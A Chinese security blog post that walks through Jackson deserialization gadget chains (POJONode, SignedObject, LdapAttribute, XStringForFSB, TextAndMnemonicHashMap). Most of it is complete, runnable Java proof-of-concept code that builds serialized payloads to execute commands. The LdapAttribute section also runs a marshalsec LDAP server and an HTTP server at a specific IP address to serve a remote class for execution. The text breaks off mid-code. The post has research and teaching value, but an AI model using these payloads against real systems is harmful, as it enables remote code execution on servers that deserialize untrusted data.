JavaSec | jackson反序列化通杀链

article/2025/8/13 4:15:36

 目录:

  前置

  POJONode链

  SignedObject链

  LdapAttribute链

  其他触发toString的类

   XStringForFSB

   TextAndMnemonicHashMap

   EventListenerL

前面简单了解了一下jackson反序列化,可以知道在序列化时会调用getter方法,而反序列化时会调用setter,但是都是有一定限制的,这里就来了解一下原生链的打法。

pom.xml文件中使用的依赖项如下:

<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.13.3</version></dependency><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.13.3</version></dependency><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-annotations</artifactId><version>2.13.3</version></dependency>

测试环境:

  • • JDK8u71

前置

这里就先提供一个浅显易懂的反序列化代码,然后来看一下这里的反序列化流程,简单从一个序列化的角度来看一下这里的流程。

代码定义如下:

package jackson;import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
import java.lang.Runtime;public class Main {public static void main(String[] args) throws Exception {Hacker hacker = new Hacker();String ow = new ObjectMapper().writeValueAsString(hacker);System.out.println(ow);}
}
class Hacker {String name2 = "fupanc2";public Hacker(){}public String getName(){try {Runtime.getRuntime().exec("open -a Calculator");} catch (IOException e) {throw new RuntimeException(e);}return "fupanc";}public void setName(String name){this.name2 = name;}
}

这里的代码运行,成功弹出计算机。打断点于writeValueAsString方法行,一直跟进,可以发现是在如下代码处成功调用的invoke()方法从而获取值:

img

这里的调用栈如下:

img

可以自己去跟一下

——————

POJONode链

这个类位于com.fasterxml.jackson.databind.node.POJONode,它的toString链可以触发任意的getter方法。

前面都说了核心的思想,toString()方法调用任意的getter方法,那么对于getter方法,最经典的就是TemplatesImpl的利用。所以这里的思想还是想着toString链调用到getOutputProperties()方法。现在来跟一下看看怎么实现。

POJONode类文件本身是没有实现toString()方法的,具体的实现是在其父类的父类BaseJsonNode类中,代码内容如下:

public String toString() {return InternalNodeMapper.nodeToString(this);}

这里会调用InternalNodeMapper类的nodeToString()方法:

public static String nodeToString(JsonNode n) {try {return STD_WRITER.writeValueAsString(n);} catch (IOException e) { // should never occurthrow new RuntimeException(e);}}

writeValueAsString()方法,太经典的jackson序列化调用的方法了,那么这里的漏洞点就是这里。先来看一下这里的STD_WRITER变量的定义,变量定义如下:

private final static JsonMapper JSON_MAPPER = new JsonMapper();private final static ObjectWriter STD_WRITER = JSON_MAPPER.writer();

这里利用的是JsonMapper类,然后这里的STD_WRITER变量的定义是JsonMapper类的writer()方法的返回值,我们可以跟进一下这里的writer()方法的调用,发现这里JsonMapper其实并没有定义writer()方法,还是调用的其父类ObjectMapper类的writer()方法:

public ObjectWriter writer() {return _newWriter(getSerializationConfig());}

然后调用了_newWriter()方法:

protected ObjectWriter _newWriter(SerializationConfig config) {return new ObjectWriter(this, config);}

这里就返回了一个ObjectWriter类实例。并且在后面进行了序列化,在序列化部分是通过调用writeValueAsString()方法来进行序列化的,可以跟进一下,内容如下:

public String writeValueAsString(Object value)throws JsonProcessingException{        // alas, we have to pull the recycler directly here...SegmentedStringWriter sw = new SegmentedStringWriter(_generatorFactory._getBufferRecycler());try {_writeValueAndClose(createGenerator(sw), value);} catch (JsonProcessingException e) {throw e;} catch (IOException e) { // shouldn't really happen, but is declared as possibility so:throw JsonMappingException.fromUnexpectedIOE(e);}return sw.getAndClear();}

然后我发现,ObjectMapper的writeValueAsString()方法代码逻辑同上,也就是说明其实这里就是调用ObjectMapper来进行序列化,也就是和前面了解的差不多了。总的来说,就是这里的ObjectMapper是可以用来同时序列化和反序列化的,但是ObjectWriter只是用来序列化的,同时有一个ObjectReader来进行反序列化:

img

所以其实都是差不多的。

对于触发toString()方法,最经典的就是CC5了。开头已经找到了,那么对于POJONode类之间的构造该是什么呢,来看一下代码之间的联系:

我们可以知道这里对POJONode类调用toString()方法,其实就是对POJONode类进行一个json序列化,序列化,肯定会调用类的变量,从POJONode类的变量中,我们可以拿到如下内容:

img

是的,这个_value变量,并且这个变量的定义为Object,所以是可以利用的。那么这里还是利用TemplatesImpl类的getter方法,但是这里又涉及到了一个问题,也是前面rome链提到了,这里的getter的获取,该怎么定义?

而TemplatesImpl类有多个getter方法,是否有影响呢?先构造试试看:

package jackson;import javax.management.BadAttributeValueExpException;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws Exception {//使用javassist定义恶意代码ClassPool classPool = ClassPool.getDefault();classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = classPool.makeClass("Evil");String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";cc.makeClassInitializer().insertBefore(cmd);cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));byte[] classBytes = cc.toBytecode();byte[][] code = new byte[][]{classBytes};TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "fupanc");setFieldValue(templates, "_class", null);setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());POJONode node = new POJONode(templates);Object bad = new BadAttributeValueExpException(null);Field field = BadAttributeValueExpException.class.getDeclaredField("val");field.setAccessible(true);field.set(bad, node);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));out.writeObject(bad);out.close();ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));in.readObject();in.close();}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

虽然成功弹出计算机,但是代码运行会报错,并且调试可得这里并不是反序列化时弹出的计算机,而是在序列化就弹计算机了。简单跟一下,发现这里是由于BaseJsonNode类定义了writeReplace()方法,而如果序列化的类实现了writeReplace方法,那么将会在序列化过程中调用它进行检查,所以这里会出错,解决方法就是删去这个方法,idea上的源码不能直接删除,还可以重写这个类来调用,还可以通过javassist来在JVM中动态更改这个类的方法,最好是修改它的方法名,一劳永逸,最后的POC如下:

package jackson;import javax.management.BadAttributeValueExpException;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;
import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws Exception {//使用javassist定义恶意代码ClassPool classPool = ClassPool.getDefault();classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = classPool.makeClass("Evil");String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";cc.makeClassInitializer().insertBefore(cmd);cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));byte[] classBytes = cc.toBytecode();byte[][] code = new byte[][]{classBytes};//修改类方法CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");ctMethod.setName("reset");//也可以直接删去这个类//ctClass.removeMethod(ctMethod);//加载修改后的类ctClass.toClass();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "fupanc");setFieldValue(templates, "_class", null);setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());POJONode node = new POJONode(templates);//BadAttributeValueExpException bad = new BadAttributeValueExpException(null);Object bad = new BadAttributeValueExpException(null);Field field = bad.getClass().getDeclaredField("val");field.setAccessible(true);field.set(bad, node);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));out.writeObject(bad);out.close();ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));in.readObject();in.close();}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

至于原先错误代码中为什么在序列化之前就会弹出计算机,可以自己去调调。

SignedObject链

其实就是套了一个二次反序列化链,这里本来就是可以调用getter方法,那么二次反序列化就逃不脱了。

不多赘述,这里还是二次反序列化一个CC6,POC如下:

package jackson;import javax.management.BadAttributeValueExpException;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
import java.lang.reflect.Field;
import java.security.Signature;
import java.security.SignedObject;public class Main {public static void main(String[] args) throws Exception {//使用javassist定义恶意代码ClassPool classPool = ClassPool.getDefault();//修改类方法CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");//也可以直接删去这个类ctClass.removeMethod(ctMethod);ctClass.toClass();Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};Transformer chain = new ChainedTransformer(fakeTransformer);Map haha = new HashMap();Map lazy = LazyMap.decorate(haha,chain);TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");HashMap hashMap = new HashMap();hashMap.put(outerMap,"fupanc");haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行Field x = ChainedTransformer.class.getDeclaredField("iTransformers");x.setAccessible(true);x.set(chain,chainpart);KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));POJONode node = new POJONode(signedObject);BadAttributeValueExpException bad = new BadAttributeValueExpException(null);Field field = bad.getClass().getDeclaredField("val");field.setAccessible(true);field.set(bad, node);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));out.writeObject(bad);out.close();ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));in.readObject();in.close();}
}

————————

LdapAttribute链

这个类位于com.sun.jndi.ldap.LdapAttribute,这是一个default属性的类,不能直接导入,反射获取即可,这个类有getter方法可以进行jndi注入:

img

这里就从payload来学习一下这个的使用方法(有小tips,具体看后面怎么打),先说打法,再简单讲讲这里的过程,这里需要用到marshalsec工具,然后在自己的服务器上运行jar包来生成服务器:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://47.100.223.173:2333/#a" 1389

然后开一个python的http服务:

python3 -m http.server 2333

注意在python的http服务的当前目录下放弹计算机的class文件,这里就不多说了。

然后运行下面这个代码即可:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import java.io.*;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;public class Main {public static void main( String[] args ) throws Exception {//删去影响POJONode序列化的类ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(ctMethod);ctClass.toClass();String ldapCtxUrl = "ldap://47.100.223.173:1389/";Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(String.class);ldapAttributeClazzConstructor.setAccessible(true);Object ldapAttribute = ldapAttributeClazzConstructor.newInstance("fupanc");Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");baseCtxUrlField.setAccessible(true);baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");rdnField.setAccessible(true);rdnField.set(ldapAttribute, new CompositeName("a//b"));POJONode jsonNodes = new POJONode(ldapAttribute);BadAttributeValueExpException exp = new BadAttributeValueExpException(null);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(exp,jsonNodes);ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.ser"));oos.writeObject(exp);oos.close();ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.ser"));ois.readObject();ois.close();}
}

这样就可以在反序列化时弹出计算机。

分析过程就简单说说吧,参考文章已经说的很清楚了:

上面主要的一个不同点就在于ldap的url没有写成ldap://xxxx/xxx,也就是后面没有加请求的codebase那些了,这里是因为payload中会的a//b会在请求时会自动加上一个a,如:

img

这个主要是由payload造成的,这里也就不多说了。所以这里需要用到marshalsec工具,个人理解就是直接返回一个路径让其访问拿class文件,不管是发送什么的请求,所以其实直接将a.class改成MyTest.class也是可以的。

最后有兴趣的可以再调试跟一下这里的反序列化过程。

其他触发toString的类

这里的知识点其实更多的算是一种绕过,在前面链子的学习中,我们调用toString()方法,都是利用的BadAttributeValueExpException来进行toString()方法的调用,但是如果这个类被band掉了呢,又该怎么利用,下面就来学习一下另外的可以调用toString()方法的类。

XStringForFSB

这个类位于com.sun.org.apache.xpath.internal.objects.XStringForFSB,其父类是XStirng。

其实这个和ROME链的HotSwappableTargetSource链有点关联,在那条ROME链中,是通过HotSwappableTargetSource调用到XString的的equals()方法,从而调用到任意类的toString()方法。

这里的XStringForFSB类的equals()方法同样可以调用到任何类的toString()方法:

img

所以还是可以作为一个中继链来调用到任意类的toString()方法。

这里的目的是调用到XStringForFSB类的equals()方法,最经典的就是还是Hashtbale了,也比较容易看,这里来尝试构造一下,使用两个HashMap,参考ROME链的equals链,主要的触发点在AbstractMap类的equals()方法:

img

老生常谈的方法了,简单构造一下,这里本来想选用的构造函数为:

img

反射获取就可,但是赋值完就丢出异常,表示不能为字符串,只能放弃。看另外一个构造函数:

img

super()赋值就是一直往上调用,其实就是给父类的父类XObject的变量赋值:

img

这个变量其实是XString链提到过的,但这里没啥用。从原先的链子中可以看出,都不会利用到这的变量,那么就尝试只将其能正常实例化,让AI给一个正常实例化的代码,经测试如下可用:

package jackson;import com.sun.org.apache.xml.internal.utils.FastStringBuffer;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;public class Text {public static void main(String[] args) {FastStringBuffer fsb = new FastStringBuffer();fsb.append("Hello, this is a sample string stored in FastStringBuffer!");// 2. 定义起始位置和提取长度int start = 7;   // 从第8个字符开始(索引从0开始)int length = 10; // 提取10个字符// 3. 创建 XStringForFSB 实例XStringForFSB xString = new XStringForFSB(fsb, start, length);System.out.println(xString);}
}

输出为:

this is a

输出为这个不要紧,只要它是这个类实例即可:

img

那么就可以尝试构造:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.util.HashMap;
import java.util.Hashtable;
import com.sun.org.apache.xml.internal.utils.FastStringBuffer;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws Exception {//使用javassist定义恶意代码ClassPool classPool = ClassPool.getDefault();classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = classPool.makeClass("Evil");String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";cc.makeClassInitializer().insertBefore(cmd);cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));byte[] classBytes = cc.toBytecode();byte[][] code = new byte[][]{classBytes};//修改类方法CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");//也可以直接删去这个类ctClass.removeMethod(ctMethod);ctClass.toClass();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "fupanc");setFieldValue(templates, "_class", null);setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());POJONode node = new POJONode(templates);FastStringBuffer fsb = new FastStringBuffer();fsb.append("Hello, this is a sample string stored in FastStringBuffer!");XStringForFSB stringForFSB = new XStringForFSB(fsb, 7, 10);HashMap hashMap1 = new HashMap();hashMap1.put("yy",stringForFSB);hashMap1.put("zZ",node);HashMap hashMap2 = new HashMap();hashMap2.put("yy",node);hashMap2.put("zZ",stringForFSB);Hashtable table = new Hashtable();table.put(hashMap1,"1");table.put(hashMap2,"2");}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

成功弹出计算机,并且链子也是符合预期的,那么怎么只在反序列化时弹出里计算机呢?其实可以参考下面这条链子的绕过方法,但是这里忽略了一个非常重要的问题,FastStringBuffer不可被序列化,并且它还没有父类:

img

调不动了,留个坑点,应该是找到一个可以序列化的类,然后可以正常实例化 XStringForFSb 类即可。

TextAndMnemonicHashMap

这个类位于javax.swing.UIDefaults$TextAndMnemonicHashMap,也就是UIDefaults类的一个内部类,这个类的get()方法会触发toString()方法:

img

调用get的话,就不得不提到HashMap类的调用get()的方法:

img

同样是谈了很多次的这个方法,那么现在控制这里的m为TextAndMnemonicHashMap类,这里的key为POJONode类,但是这个TextAndMnemonicHashMap类是一个private内部类,不能直接导入,反射获取它的构造方法来进行创建即可,然后这里让被用来序列化的类为Hashtable,入口就可以参照CC7,先是一个简单的根据前面提出的要求来进行的构造:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws Exception {//使用javassist定义恶意代码ClassPool classPool = ClassPool.getDefault();classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = classPool.makeClass("Evil");String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";cc.makeClassInitializer().insertBefore(cmd);cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));byte[] classBytes = cc.toBytecode();byte[][] code = new byte[][]{classBytes};//修改类方法CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");//也可以直接删去这个类ctClass.removeMethod(ctMethod);ctClass.toClass();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "fupanc");setFieldValue(templates, "_class", null);setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());POJONode node = new POJONode(templates);Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor();constructor.setAccessible(true);Map text = (Map)constructor.newInstance();HashMap hashMap1 = new HashMap();hashMap1.put(node,"1");Hashtable table = new Hashtable();table.put(hashMap1,"1");table.put(text,"1");}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

运行是没有弹出计算机的,那么现在就来考虑一下hash值相同的问题,可以直接用上面的代码来调试,重点是hash值的计算,就都打上断点来看一下这里的hash值计算情况:

img

先来看第一个放入的hashMap1的计算情况:

img

会调用HashMap类的hashCode()方法:

img

然后会调用到hashCode()方法:

img

也就是计算键值对的hash值然后进行抑或的一个操作,然后就顺利放进了这个键值对。

第二次put()是最重要的操作,会进行hash值是否相等等一系列计算,跟进一下,同样会进入到如下的代码:

img

如果存在键值对的话,就同样会进行哈希值的计算,这里也会调用这个的原因应该是因为TextAndMnemonicHashMap不存在hashCode()方法,但是其父类是HashMap类:

img

那么是否可以通过让其键值对都相同从而让hash值相同呢,直接在text中放入键值对就行了:

Map text = (Map)constructor.newInstance();
text.put(node,"1");

再次调试,如下:

img

确实可以,那么现在就是考虑是否可以放入两个键值对的问题了。继续跟进,确实成功调用到了equals()方法,但是此时竟然报了如下的错误;

img

直接求值了?这里调用getKey()会对key进行一次调用toString()方法?跟进一下getKey()看看呢:

img

这里是直接返回值的操作,难道是因为这里的k是字符串类型?我这里传入的是一个类实例,所以会自动调用到这个类的toString()方法,导致了一次调用链的执行?但是又有时候弹计算机了有时候没弹(大部分时候没弹)

那么这里该怎么绕过呢?这里我想到了一个点,能否直接修改Hashtable中的存储表来进行利用,比如这里其实Hashtable和HashMap等的存储表都是通过他们的内置类Entry来实现的,可以跟进一下put()方法的后续代码:

img

跟进这个addEntry()方法:

img

就是一个实例化Node的操作。所以就是直接修改这个存储表,而存储表一般都是放在类的table变量中的:

img

但是这里的反射获取到相关类构造方法没搞出来,不然就只有一个一个变量获取到然后进行修改。并且其实这个直接修改在这也是没有什么大用的,就算在序列化前修改了,但是在反序列化时同样会报这个错误,同样会在getKey()方法处调用到toString()方法。

其实如果能稳定弹出计算机,这样也算是在反序列化时弹出计算机,只是不是根据链子进行的,但是这里不知道为什么有时候能弹有时候弹不了,只能放弃。

还是不行呀,看了一下参考文章,是用的TextAndMnemonicHashMap类来调用到equals()方法,正如前面谈到过的,这里的TextAndMnemonicHashMap类的父类是HashMap类,所以调用equals()方法时会一步一步往父类找,最后还是会调用到预期的equals()方法,但是其本质其实都是相同的,对于hash值相同的问题在前面也已经早就解决,当务之急还是看如何解决自动调用toString()方法的问题,想不出来,也没调出来,看一下网上现有的POC,理解了一下,然后改成自己常用的风格,如下:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Map;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;public class Main {public static void main(String[] args) throws Exception{//使用javassist定义恶意代码ClassPool classPool = ClassPool.getDefault();classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = classPool.makeClass("Evil");String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";cc.makeClassInitializer().insertBefore(cmd);cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));byte[] classBytes = cc.toBytecode();byte[][] code = new byte[][]{classBytes};//修改类方法CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(ctMethod);ctClass.toClass();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "fupanc");setFieldValue(templates, "_class", null);setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());POJONode node = new POJONode(templates);Map tHashMap1 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));Map tHashMap2 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));tHashMap1.put(node, "123");tHashMap2.put(node, "12");Hashtable hashtable = new Hashtable();hashtable.put(tHashMap1,1);hashtable.put(tHashMap2,1);tHashMap1.put(node, null);tHashMap2.put(node, null);setFieldValue(tHashMap1, "loadFactor", 0.75f);setFieldValue(tHashMap2, "loadFactor", 0.75f);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));out.writeObject(hashtable);out.close();ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));in.readObject();in.close();}public static Object getObject(Class clazz) throws Exception{Constructor constructor = clazz.getDeclaredConstructor();constructor.setAccessible(true);return constructor.newInstance();}public static void setFieldValue(Object obj, String key, Object val) throws Exception{Field field = null;Class clazz = obj.getClass();while (true){try {field = clazz.getDeclaredField(key);break;} catch (NoSuchFieldException e){clazz = clazz.getSuperclass();//非常有必要}}field.setAccessible(true);field.set(obj, val);}
}

这样就可以完全成功弹出计算机,并且在控制台会报错,简单看一下确实是按照预期的链子走的,重点的需要理解的是如下的代码:

Map tHashMap1 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));Map tHashMap2 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));tHashMap1.put(node, "123");tHashMap2.put(node, "12");Hashtable hashtable = new Hashtable();hashtable.put(tHashMap1,1);hashtable.put(tHashMap2,1);tHashMap1.put(node, null);tHashMap2.put(node, null);setFieldValue(tHashMap1, "loadFactor", 0.75f);setFieldValue(tHashMap2, "loadFactor", 0.75f);

getObject()是自定义的获取构造器然后进行实例化的操作,重点是后面的内容,为什么要再次调用put()方法将value值变成null,简单从代码层面来理解,如下代码:

tHashMap1.put(node, "123");tHashMap2.put(node, "12");

这里的两个类放入的键值对的值不同,那么对于后续的Hashtable调用时put()方法时的hash值肯定不同,也就不会调用equals()方法来进行比较,从而成功放入了键值对,那么后面两个“tHashMap“又再次调用put()方法是为了进行一个键值对的值的更新操作,所以在反序列化时的判断的hash值就会相同了,从而可以成功进行一次调用链的执行?从控制台的报错确实是对的,但是这里就不会在getKey()时报错吗?如果从这个方面来看的话,主要的不同点就是在如下代码:

setFieldValue(tHashMap1, "loadFactor", 0.75f);setFieldValue(tHashMap2, "loadFactor", 0.75f);

这里是对HashMap类中的loadFactor变量进行了修改,这里的setFieldValue()方法定义也值得学习,可以获取到父类中的变量并进行修改,扩大了利用面。所以为什么需要对这里进行修改呢,尝试一下将这里改成没有这个,发现还是成功弹出计算机!(但是原文章的原格式确实需要,这就与HashMap反序列化时的问题相关了,这里不多说)调试了一下这里的过程,理解到了为什么,这里就简单说说吧,在前面的代码构造中,我一直忘记了一个点:

img

这里需要value的值为null才能成功调用这个toString()方法,并且虽然反序列化时同样有这个异常错误,但是从参数看,这个值代表的还是我们想要的类,下面从前面的我自己构造的代码说明一下,贴一下前面“自认为是自动调用toString()方法造成错误“的点的代码:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws Exception {//使用javassist定义恶意代码ClassPool classPool = ClassPool.getDefault();classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = classPool.makeClass("Evil");String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";cc.makeClassInitializer().insertBefore(cmd);cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));byte[] classBytes = cc.toBytecode();byte[][] code = new byte[][]{classBytes};//修改类方法CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");//也可以直接删去这个类ctClass.removeMethod(ctMethod);ctClass.toClass();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "fupanc");setFieldValue(templates, "_class", null);setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());POJONode node = new POJONode(templates);Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor();constructor.setAccessible(true);Map text = (Map)constructor.newInstance();text.put(node,"1");HashMap hashMap1 = new HashMap();hashMap1.put(node,"1");Hashtable table = new Hashtable();table.put(hashMap1,"1");table.put(text,"1");}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

这里可以在TextAndMnemonicHashMap类的get()方法加一个断点:

img

调试原先的代码,发现在getKey()方法还是报异常错误,但是确实会调用到这里,并且看此时的key所代表的值:

img

就是正常的POJONode类,都是自己构造的,然后成功调用到了TextAndMnemonicHashMap类的get()方法:

img

从这个get()方法的逻辑,可以看出来是会先获取到对应key的value,只有这里的value为null,才能调用到toString()方法,也就是需要TextAndMnemonicHashMap类所对应的"HashMap"类的键值对的值为null,基于上面的情况,可以简单改一下代码:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
